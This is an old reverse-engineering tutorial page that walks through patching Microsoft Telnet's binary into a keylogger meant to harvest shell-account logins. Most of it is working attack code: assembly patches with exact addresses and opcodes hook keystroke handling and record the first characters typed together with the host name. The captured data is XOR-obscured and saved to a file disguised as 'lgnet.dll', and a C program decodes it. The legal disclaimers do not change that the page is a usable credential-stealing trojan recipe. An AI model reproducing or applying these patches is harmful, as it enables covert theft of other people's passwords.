![]() |
|
|
Author:
aLoNg3x |
|
Best viewed at 800x600x65K with Internet Explorer or Netscape Navigator |
Description: |
"Making it a Keylogger"
|
HTML Template Written by aLoNg3x |
Difficult Level: | ( ) Beginner - ( ) Easy - (X) Medium - (x) Advanced |
|
Ok. Let's start. First of all, what I mean with "Overcoding" ?
I intend with this term a kind of improved reverse engineering work.
We will make Telnet a "powered" telnet; we'll add to it a cool function
that was not implemented (of course) in the original version.
In overcoding, like in overclocking, your purpose is to let a finished
program to do more than what it can originally do :-)
How is born the idea of this new function to telnet ? Well let's see
an example: we want to collect a lot of shell accounts. A first way
to do this is to place over your network a packet sniffer. In this way
if the communication is not protected you can find a lot of nice
cripted password to crack with a tool like "John The Ripper"...
But we are overcoders and not experienced in network solutions. So the
easyest way to do this work is to do it at the origin. We'll use so
the nice Microsoft Telnet as our target.
We are so lucky. In fact Telnet is really good for our work;
it have the imported functions that we need and so we can avoid
a lot of boring work. Of course you must remember that this password
catching work MUST be only do on your system or network. Please remember
that it can be also against your State law. So take a look to the legal
notes at the bottom of this page.
|
Target:
|
Let's start. Fire up your Softice, we are going to start a long work.
The first thing that we need is to find the right point to insert our
code. The easiest way is to find where the WM_CHAR is processed.
So we can put a breakpoint on execution on the RegisterClassA and start
Telnet. We'll break after a bit of time here:
Bpx RegisterClassA
025855C9 C745FCB8075902 mov [ebp-04], 025907B8 025855D0 8945F0 mov dword ptr [ebp-10], eax 025855D3 8D45D8 lea eax, dword ptr [ebp-28] 025855D6 50 push eax 025855D7 FF15C8D15802 Call RegisterClassAIf you watch some lines of code over these, you'll find this nice instruction:
02585592 C745DC55575802 mov [ebp-24], 02585755Take a look in the disassembled code at 02585755, and you'll see the Win Procedure of this window class. You have probably noted a lot of "CMP ESI, xxx"; with this instructions the program is looking for what kind of message it is processing. So take the windows.h include file and search the WM_CHAR hexadecimal code. In that file you'll read that WM_CHAR is the specific 102 hex code.
025857E9 81FE02010000 cmp esi, 00000102 025857EF 0F843E090000 je 02586133 025857F5 E9A5150000 jmp 02586D9FThat "je 02586133" is the key to reach our purposes. We can jump away from that portion of code, in our custom routine. But we need also some space to insert our code. So take a look to the object section.
Number Name VirtSize RVA PhysSize Offset Flag 1 .text 0000B010 00001000 0000B200 00001000 60000020 2 .rdata 0000142A 0000D000 00001600 0000C200 40000040 3 .data 00004944 0000F000 00002C00 0000D800 C0000040 4 .rsrc 00002000 00014000 00002000 00010400 60000040 5 .reloc 000012DC 00016000 00001400 00012400 42000040Hmm. I think that to add code at the end of the .data section can be a good idea. So let's look for a quite big zero padded section to add our code. I've found one good place at 02591900 (00010100h). We'll put our new code after this byte, and we'll use the bytes before to keep some variables that we need.
025857EF 0F840BC10000 je 02591900 ... 02591900 6660 pusha 02591902 90 nop 02591903 90 nop 02591904 6661 popa 02591906 E92848FFFF jmp 02586133The two NOP instruction will be used to have space to insert a short jump instruction. So we'll make something like a self modifying code infact we'll need only in specific situation to hanlde by our selves the WM_CHAR. We need of course also of some space to keep the hitted chars. I had the idea to store them in: "025918D8 to 025818EB" (that will be the '\0' char). Then we have a string of 19 chars (20-1). We'll full up the first 19 chars with 01h and the 20th char with a 0h. But why only 19 chars ?? Because usually in a telnet connection the login and the password are inserted at the beginning of the connection :-)
0259190B 8A4510 mov al, byte ptr [ebp+10] ; Pressed Char 0259190E BFD8185902 mov edi 025918D8 ; First char of string 02591913 33C9 xor ecx,ecx ; Counter = 0 02591915 8A1C0F mov bl, byte ptr [edi+ecx] ; Attual char of string 02591918 80FB00 cmp bl,00 ; End of string ? 0259191B 740E je 0259192B ; yes, Log it to file ! 0259191D 80FB01 cmp bl,01 ; Empty char ? 02591920 7404 je 02591926 ; yes, fill it ! 02591922 FEC1 inc cl ; Otherwise pass to next char 02591924 EBEF jmp 02591915 ; and recheck all 02591926 88040F mov byte ptr [edi+ecx],al ; Insert pressed char in the string 02591929 EBD9 jmp 02591904 ; Go to the standard procedure 0259192B .... We'll log to a file !I think to have explained all in a quite detailed way. We can now have care of our writing operation on the file. First of all we must have to get the file handle using the already imported CreateFileA win32 function. So here is the code ! Please, note that i've putted the 10 byte string: "lgnet.dll" (10 because there is the '\0' !) at the 025918C0 address (to 025918C9)
0259192B 6A00 push 00 0259192D 6880000000 push 00000080 02591932 6A04 push 04 02591934 6A00 push 00 02591936 6A00 push 00 02591938 6800000040 push 40000000 0259193D 68C0185902 push 025918C0 02591942 FF15BCD05802 call CreateFileAWe'll store now the returned file handle (in EAX) in a double word variable in 025918BC (pointed by ESI). We need now to seek to the end of our opened (or created if it didn't exist) file; so we'll use the SetFilePointer function. Look to the code !
02591948 BEBC185902 mov esi, 025918BC 0259194D 8906 mov dword ptr [esi],eax 0259194F 6A02 push 02 02591951 6A00 push 00 02591953 6A00 push 00 02591955 FF36 push dword ptr [esi] 02591957 FF1518D15802 call SetFilePointerVery well ! We can now start to push the parameters for the WriteFile function, but before i think that should be better do a very simple "xor cripting" work, to prevent that if someone open the file, he can see all the l/p. Then we'll xor every component of the string with the 69h key. You'll see that i will cript a string of 40 char (28h) and not the usually 20.. why ? because you'll see later that in the next part of the string we'll store something of really useful.
0259195D 6A00 push 00 0259195F 68D4185902 push 025918D4 02591964 6A28 push 28 02591966 57 push edi 02591967 FF36 push dword ptr [esi] ; START of "Cripting" 02591969 33C9 xor ecx,ecx 0259196B 80340F69 xor byte ptr [edi+ecx],69 0259196F FEC1 inc cl 02591971 80F928 cmp cl,28 02591974 7CF5 jl 0259196B ; END of "Cripting" 02591976 FF15CCD05802 call WriteFileFinally we can close our file handle, and also we can self modify the code putting the two NOP at 02591902 to prevent to log again all the useless things written in telnet... usually user & password are in the first 20 chars no ??? ;-)
0259197C FF36 push dword ptr [esi] 0259197E FF15B4D05802 call CloseHandle 02591984 B802195902 mov eax,02591902 02591989 66C7009090 mov word ptr [eax],9090 0259198E E971FFFFFF jmp 02591904A little note: the last jump give back the message handling to the standard routine of telnet.
025819F8 8D45C0 lea eax, dword ptr [ebp-40] 025819FB 50 push eax 025819FC FF7508 push [ebp+08] 025819FF FF1548D25802 Call SetWindowTextAWe'll change it in this way:
025819F8 8D45C0 lea eax dword ptr [ebp-40] 025819FB E994FF0000 jmp 02591994 02581A00 90 nop 02581A01 90 nop 02581A02 90 nop 02581A03 90 nop 02581A04 90 nopThe two push and the call will be executed in the added code in the .data section. Well. We can think about the code. First of all we'll push EAX, ECX and EBX (and we'll pop only EBX and ECX, in fact the EAX register is needed to be pushed for the SetWindowTextA.
02591994 50 push eax 02591995 51 push ecx 02591996 53 push ebx 02591997 B8EC185902 mov eax,025918EC 0259199C 33C9 xor ecx,ecx 0259199E 33DB xor ebx,ebxOk now we have to handle the routine that writes to our string the host. If you debug into the code before the SetWindowTextA, you will understand the ESI points to the beginning of the string of the host. We have to check three conditions:
025919A0 80F914 cmp cl,14 ; Too long host name ? 025919A3 7433 je 025919D8 ; Then we do nothing. 025919A5 85F6 test esi,esi ; Are we disconnecting ? 025919A7 7410 je 025919B9 025919A9 803C0E00 cmp byte ptr [esi+ecx],00 ; Reached the end of the string ? 025919AD 740A je 025919B9 025919AF 8A1C0E mov bl, byte ptr [esi+ecx] ; Copy the char 025919B2 881C08 mov byte ptr [eax+ecx],bl 025919B5 FEC1 inc cl ; Pass to the next char 025919B7 EBE7 jmp 025919A0 ; Recheck allOk now, when we're disconnecting from an host or we are just connected to it we have to set to zero all the chars (in our host string) after the actual position (keeped by the ECX counter).
025919B9 C6040800 mov byte ptr [eax+ecx],00 025919BD FEC1 inc cl 025919BF 80F914 cmp cl,14 025919C2 75F5 jne 025919B9After this, we must reset to the original values the first 20 chars of our string, in order to permit to the checks at 02591918 (and succ) to work correctly. (so we have to set nineteen 01h and one 00h). Well, so the code is:
025919C4 B8D8185902 mov eax,025918D8 025919C9 33C9 xor ecx,ecx 025919CB C6040801 mov byte ptr [eax+ecx], 01 025919CF 80F912 cmp cl,12 025919D2 7415 je 025919E9 025919D4 FEC1 inc cl 025919D6 EBF3 jmp 025919CB ... 025919E9 C644080100 mov byte ptr [eax+ecx+1], 00Now we can recheck if we're connecting or disconnecting, and depending by this, we'll modify the two bytes at 02591902 (address that we store in EAX). There are two cases:
025919EE B802195902 mov eax, 02591902 025919F3 85F6 test esi,esi 025919F5 7409 je 02591A00 025919F7 C600EB mov byte ptr [eax], EB 025919FA C6400107 mov byte ptr [eax+1], 07 025919FE EBD8 jmp 025919D8 02591A00 C60090 mov byte ptr [eax], 90 02591A03 C6400190 mov byte ptr [eax+1], 90 02591A07 EBCF jmp 025919D8Well. Now we need only the last piece of code in which we pop ECX and EBX, (EAX must remain pushed) and we push [ebp+8] and call SetWindowTextA and come back to the standard code of telnet.
025919D8 5B pop ebx 025919D9 59 pop ecx 025919DA 90 nop 025919DB FF7508 push dword ptr [ebp+8] 025919DE FF1548D25802 call SetWindowTextA 025919E4 E91700FFFF jmp 02581A00A little note: i've not handled in a good way the case in which we're connecting to an host with a name longer than 19 chars. In fact in this case if we are actually disconnected and we connect to it, we have no problems, but if we are already connected to an host and we're logging the WM_CHAR, if we connect our self directly to the host with a long name, we will log (making a logic error) the chars, because we didn't created a selfmodifying code for the case of a "long" host name.
/* LogRead.c */ /* I'll use [greater than] and [lower than] in order to have no problem with HTML. */ #include "windows.h" #include "string.h" int WINAPI WinMain(HINSTANCE hNow, HINSTANCE hPrev, LPSTR cmd, int show) { OPENFILENAME SelectedFile; // Pointer to structure HANDLE hFile; char filename[256]; char buffer[40]; int byteReaded = sizeof(buffer); int i, j; filename[0] = 0; ZeroMemory(&SelectedFile, sizeof(OPENFILENAME)); SelectedFile.lStructSize = sizeof(OPENFILENAME); // set the size SelectedFile.hwndOwner = NULL; SelectedFile.lpstrFile = filename; SelectedFile.nMaxFile = sizeof(filename); SelectedFile.lpstrFilter = "Telnet Log Files (lgnet.dll)\0lgnet.dll\0All (*.*)\0*.*\0"; SelectedFile.nFilterIndex = 1; SelectedFile.lpstrFileTitle = NULL; SelectedFile.nMaxFileTitle = 0; SelectedFile.lpstrInitialDir = NULL; SelectedFile.Flags = OFN_PATHMUSTEXIST | OFN_FILEMUSTEXIST; if (!GetOpenFileName(&SelectedFile)) { MessageBox(NULL, "An error is occurred !", "Error 01", 0); return(0); } hFile = CreateFile(SelectedFile.lpstrFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if (hFile == INVALID_HANDLE_VALUE) { MessageBox(NULL, "An error is occurred !", "Error 02", 0); return(0); } for (j = GetFileSize(hFile, NULL) / 40; j [Greater than] 0; j-- ) { ReadFile(hFile, buffer, sizeof(buffer), &byteReaded, NULL); for ( i = 0; i [Lower Than] sizeof(buffer); i++) buffer[i] ^= 105; MessageBox(NULL, buffer, buffer+20, 0); } CloseHandle(hFile); return(1); }That's all. Try it by your self :-)
|
Ahh. :-) I finished it. I am sorry for the bad english i used in this
essay but i've written it quite fastly :-P
I hope you like this kind of reversing work. And i hope to see soon on
the Web less tutorials about software protections and much more about
adding code to a compiled target.
I think that in the future i'll add something of new to Telnet, but now
is not the time to think about this. However check the site
for updates.
I think that's right to thank particulary three persons:
Kill3xx (the RingZer0 one) that is in my opinion the best
reverser all around. (He's also always able to help you)
Neural_Noise He is a really great friend and reverser :-) He's
really funny and he's a very good person. Reading his tutorials I had
a lot of good ideas.
Volatility I know him only by few weeks, however I must thank
him for his cool site and because he accepted me like trial in his
group. (Hey Vola: i hope to become member ! eh ;-)
Many many thanks also to all the "RingZer0" and "Immortal Descendants" crews;
to all the producers of the music i listened doing this work and to
all the biscuits, crackers, cakes, coca cola, pigs that i've eaten or
drunk while i was working :-)
If you have comments, suggestions, critics, congratulations ;-) or if
you want to ask me something to me i'm always at along3x@privacy.nu
Please tell me if you have difficult using this address. Thanks.
|
Remember that you can do all the things written here only at YOUR risk.
I do NOT take any liability for YOUR acts.
Please remember that you cannot violate your State law. And you cannot
violate the privacy of other people.